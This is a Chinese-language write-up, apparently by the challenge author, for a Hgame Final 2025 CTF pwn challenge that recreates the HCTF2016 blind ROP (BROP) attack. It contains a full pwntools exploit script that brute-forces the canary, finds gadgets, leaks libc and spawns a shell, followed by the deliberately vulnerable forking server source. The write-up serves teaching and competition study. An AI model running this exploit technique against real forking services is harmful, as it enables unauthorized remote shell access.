Hgame-final-2025-pwn-BackTo2016
_(:3 」∠ )_
BackTo2016 记一次程序运行时的小小型实验。
wp 思路分析 很容易找到这题的原型是 HCTF2016 的 出题人失踪了,也在赛时作为免费hint放出了,所以这里主要聊一些大家可能没有注意到的我给出的细节。
一进来设计成这样以及三个着色的词对应的是 HCTF2016 ,此题的libc版本 ,以及这个知识的论文原文 。
这里给出 PID 是为了尽可能伪装成一个服务,以及希望选手能和 fork 联系起来。
根据我放出的保护:
和原题有一个很大的区别就是,原题没有 canary 保护,以及程序崩溃后就结束了,而我的会在崩溃后重新再拉起一个,这也是此题 exp 中与原题非常大的一个差别,我们不会使用 close() 主动断开链接再拉起。
这里给出保护的意义主要在于告诉大家程序的地址头来爆破,这道题之所以出成崩溃后在拉起是因为一开始想开启 PIE 保护,贴近真实环境,然而在测试后发现花费的时间过长,再加上每次还要爆破 canary ,所以最后还是关了。
同时,即便是全盲,有没有 canary 也是可以测出来的。即通过测出填充 buf 长度后再加 b’\x00’ ,程序不崩溃则认为有 canary ,即返回地址最低两位为 00 是小概率事件,而如果崩溃了,则一定是无 canary 的。
大部分的思路,我想下面几篇文章讲得是很清楚的,不多赘述,就直接放出exp了。
论文原文 Blind Return Oriented Programming (BROP) Attack攻击原理 pwn HCTF2016 brop
Exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 from pwn import *context(log_level="debug" ,arch="amd64" , os="linux" ) elf_path = "./vuln" libc_path = './libc.so.6' p = remote('node1.hgame.vidar.club' ,30331 ) elf = ELF(elf_path) libc = ELF(libc_path) def get_buffer_size (): for i in range (1024 ): payload = "a" * i buf_size = len (payload) - 1 p.send(payload) v = p.recvuntil(b"password:" ) if b"*** stack smashing detected ***" in v: log.info("buffer size: %d" % buf_size) return buf_size else : log.info("bad: %d" % buf_size) def get_canary (x ): canary = b"\x00" for k in range (7 ): for i in range (256 ): payload = b"a" * x + canary + p8(i) p.send(payload) v = p.recvuntil(b"password:" ) if b"*** stack smashing detected ***" not in v: canary += p8(i) break canary = u64(canary) success("canary:" + hex (canary)) return canary def get_stop_addr (buf_size, canary ): addr = 0x400000 while True : sleep(0.1 ) payload = b"a" * buf_size + p64(canary) + p64(0 ) addr += 1 payload += p64(addr) p.send(payload) v = p.recvuntil(b"password:" ) if b"killed" in v: log.info("bad: 0x%x" % addr) else : log.info("stop_addr: 0x%x" % addr) return addr def get_gadgets_addr (buf_size, canary, stop_addr ): addr = 0x400a80 while True : addr += 1 payload = b"a" * buf_size + p64(canary) + p64(addr) payload += p64(addr) payload += p64(1 ) + p64(2 ) + p64(3 ) + p64(4 ) + p64(5 ) + p64(6 ) payload += p64(stop_addr) payload += p64(0 ) try : p.send(payload) v = p.recvuntil(b"password:" ) if b"killed" in v: log.info("bad: 0x%x" % addr) else : log.info("possible: 0x%x" % addr) payload = b"a" * buf_size + p64(canary) + p64(addr) payload += p64(addr) payload += p64(1 ) + p64(2 ) + p64(3 ) + p64(4 ) + p64(5 ) + p64(6 ) p.send(payload) v = p.recvuntil(b"password:" ) if b"killed" in v: log.info("gadget: 0x%x" % addr) return addr except : log.info("bad: 0x%x" % addr) def get_puts_plt (buf_size, stop_addr, gadgets_addr ): pop_rdi = gadgets_addr + 9 addr = 0x400700 while True : sleep(0.1 ) addr += 1 payload = b"a" * buf_size + p64(canary) + p64(0 ) payload += p64(pop_rdi) payload += p64(0x400000 ) payload += p64(addr) payload += p64(stop_addr) p.send(payload) v = p.recvuntil(b"password:" ) if b"\x7fELF" in v: log.info("puts@plt address: 0x%x" % addr) return addr else : log.info("bad: 0x%x" % addr) def dump_memory (buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr ): pop_rdi = gadgets_addr + 9 result = b"" while start_addr < end_addr: sleep(0.01 ) payload = b"a" * buf_size + p64(canary) + p64(0x12345678 ) payload += p64(pop_rdi) payload += p64(start_addr) payload += p64(puts_plt) payload += p64(stop_addr) p.send(payload) data = p.recvline() p.recvuntil(b"password:" ) p.recvline() if data == b"\n" : data = b"\x00" elif data[-1 ] == 0x0A : data = data[:-1 ] log.info("leaking: 0x%x --> %s" % (start_addr, data.hex ())) result += data start_addr += len (data) return result def get_puts_addr (buf_size, canary, stop_addr, gadgets_addr, puts_plt, puts_got ): pop_rdi = gadgets_addr + 9 payload = b"a" * buf_size + p64(canary) + p64(0 ) payload += p64(pop_rdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(stop_addr) p.send(payload) p.recvline() data = p.recvline() a = p.recvuntil(b"password:" ) data = u64(data[:-1 ] + b"\x00\x00" ) log.info("puts address: 0x%x" % data) return data buf_size = 56 p.recvuntil(b"password:" ) canary = get_canary(buf_size) stop_addr = 0x4007c0 gadgets_addr = 0x400b2a puts_plt = 0x400715 """ code_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, 0x400000, 0x605000) with open("code.bin", "wb") as f: f.write(code_bin) f.close() """ puts_got = 0x602018 puts_addr = get_puts_addr(buf_size, canary, stop_addr, gadgets_addr, puts_plt, puts_got) puts_offset = libc.sym["puts" ] libc_base = puts_addr - puts_offset success('libc_base = ' + hex (libc_base)) system_addr = libc_base+libc.sym.system binsh_addr = libc_base + 0x180543 payload = payload = b"a" * buf_size + p64(canary) + p64(0 ) payload += p64(gadgets_addr + 9 ) payload += p64(binsh_addr) payload += p64(system_addr) payload += p64(stop_addr) p.sendline(payload) p.interactive()
More 其实相信真正做了一遍题目的同学会发现,好像一切并不如分析的那样简单。
让我们来简单探讨几个问题吧。
什么是stop_gadget? 在论文中,我们把能让程序挂起的,类似死循环或者阻塞这样的代码片段称为 stop_gadget 。
很显然,在出题人失踪了
这道题中,程序是没有死循环的,那么在pwn HCTF2016 brop 里面找到的stop address: 0x4005e5
又是什么呢。
尽管我没有编译过原题,比对二进制文件,但在后文中,我们看到puts@plt address: 0x4005e7
,所以这个 stop 应当是一个 plt 表上的函数。
也就是说,有某个函数可以使程序挂起。比如说 read ,就可以起到阻塞的作用。那既然 read 可以,其他函数可不可以。read@plt 可以,那么下一行的 read@got 可不可以?plt 表上的函数可以,程序里的函数可不可以?
显然,stop_gadget 是不止一个的。
那么,我们再来讨论什么是 stop_gadget 。讨论这个问题的意义主要在于,read 并不是一个性质足够完美的来帮助我们爆破或者利用的函数,这里的阻塞很有可能会因为一些收发输入而该改变计划,尤其如果在一个更大更复杂的程序中。stop_gadget 最主要是为了能够找到一个不会使程序崩溃的返回地址 ,他最好不会影响我们的任何操作。
在测题的过程中,我认为 exit 就是一个很好的 stop_gadget ,合法且可以快速的结束进程。
什么时候回到 main 函数? 除了直接在 ret 的位置上填上 main 的入口地址或者 main 函数上的合法地址,还有一些程序的初始化函数。
虽然 main 作为程序的入口函数,在程序中是唯一的。一般情况下,我们也不会在子函数中调用 main 。但是 main 函数的执行前,程序会执行一些初始化函数,比如 __libc_csu_init ,这些函数在 main 函数执行前执行,在 main 函数执行后结束。
注意,main 并不是一个足够好的 stop ,虽然它不会更新 canary ,它会拦截我们一次子进程的结束,对于这次子进程结束有回显的情况下来说,这不利于我们与程序交互。
为什么要检查 pop rdi ? 首先应有一个共识,一般情况下,程序自然产生的 pop rdi 代码片段只存在于 __libc_csu_init 的一个错位片段里。
第一个原因: stop_gadget 不止一个,这会导致不加检查时我们看似找到一个不会使程序崩溃的 6 个连续 pop ,然而实际情况是我们刚执行到第一个 retn ,程序就 stop 了。
这里的检查方式是再输入一遍相同的 payload 但去除末尾的 stop ,此时应当是程序崩溃。
当然除了上述的方式可以预防找到错误的 gadget ,我们也可以选择检查 possible gadget+1 是否是 5 个连续 pop 等类似方式。
第二个原因: __libc_csu_init 是一段相互调用的代码,
这里有几个跳转:
0x400b06
0x400b24
0x400b34
前两个地址通过比较寄存器都有可能跳转到 0x400b26 ,即我们需要确定的 gadget 的上一句。
看上去并没有什么问题,因为我们仅填充了 pop 的六次,并希望正确的地址可以 retn 第七个位置,而如果是从前两个地址跳转过来( 0x400b24 处是不满足条件顺序执行),0x400b26 先抬了一次栈, 0x400b34 retn 的将是一个栈上我们没有控制的地址。
没有控制,是很危险的。有时栈上可能是一些脏数据,但也可能是某个合法的返回地址。由于我们是无法控制这两个跳转的,他们比较的寄存器是在之前正常运行时就完成的(当然我们可以控制自己填写的 rbp 不为 0 来避免从 0x400b03 跳转走),所以在栈溢出足够的情况下,应该把第八个地址控制一下。
在最后上题的版本之前,前两个地址并不会跳到 0x400b26 ,然而在我删掉后门后寄存器就发生了一些变化,这就是为什么我认为这里的寄存器不可控制。并且第八个位置为 start ,也就是启动 main 函数的地方,恰巧是一个不太好的 stop 。
题目源码 请在 Glibc<2.34 的版本下编译,以确保有 __libc_csu_init 可用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> void init () { setbuf(stdin , NULL ); setbuf(stdout , NULL ); setbuf(stderr , NULL ); } int check () { char buf[45 ]; read(STDIN_FILENO,buf,1024 ); return strcmp (buf,"aaaaaaaaaaaaaa" ); } void run_server () { printf ("Server (PID: %d) is running...\n" , getpid()); puts ("password:" ); if (!check()){ puts ("\033[351mBingo!But it doesn't matter.\033[0m" ); } else { puts ("\033[35mIncorrect password, login failed.\033[0m" ); } } int main () { init(); puts ("\nWELCOME BACK TO \033[36m2016\033[0m!\n" ); puts ("This year, \033[36mUbuntu 14.04\033[0m is still one of the popular versions." ); puts ("And...we still have many unpatched vulnerable code snippets.\n" ); puts ("We found an unstable TCP server." ); puts ("Let's try \033[36mHacking Blind\033[0m!\n" ); while (1 ) { pid_t pid = fork(); if (pid == 0 ) { run_server(); } else if (pid > 0 ) { int status; wait(&status); if (WIFEXITED(status)) { printf ("Main process: Server (PID: %d) exited with status %d. Restarting...\n" , pid, WEXITSTATUS(status)); } else if (WIFSIGNALED(status)) { printf ("Main process: Server (PID: %d) killed by signal %d. Restarting...\n" , pid, WTERMSIG(status)); } } else { perror("fork" ); exit (1 ); } } return 0 ; }
一些杂谈 我们的题被运维师傅评价为出题人放飞自我了,,好吧可能是有点。
起因是我们都想出个内核,于是 1s 提出想要让选手打完一个用户态的 pwn 题拿到 shell 之后,再内核提权。以及 1s 想的是因为打完第一题用户已经有了一个shell,所以也不给附件,而是自己去里面拿。
于是我就想到一个不适合出在别的地方但还算适合 Hgame Final 的点,BROP。
最后就是我们把主题定在了真实情景,主要真实在一个是没有附件调试,另一个是漏洞复现(指BackTo2016(2)).
至于 2016 这个年份其实也是凑巧发现,他是一个 2016 年的洞,我的知识点出现在 2016 年的ctf比赛上。
偶对了,今年 Hgamefinal 有 Vidar 知识大问答,Hgame 的全称是 HCTFgame 。虽然 HCTF 和 HCTFgame 已经是两码事了,但在很多年后复现曾经老学长整过的活,还是很有趣的。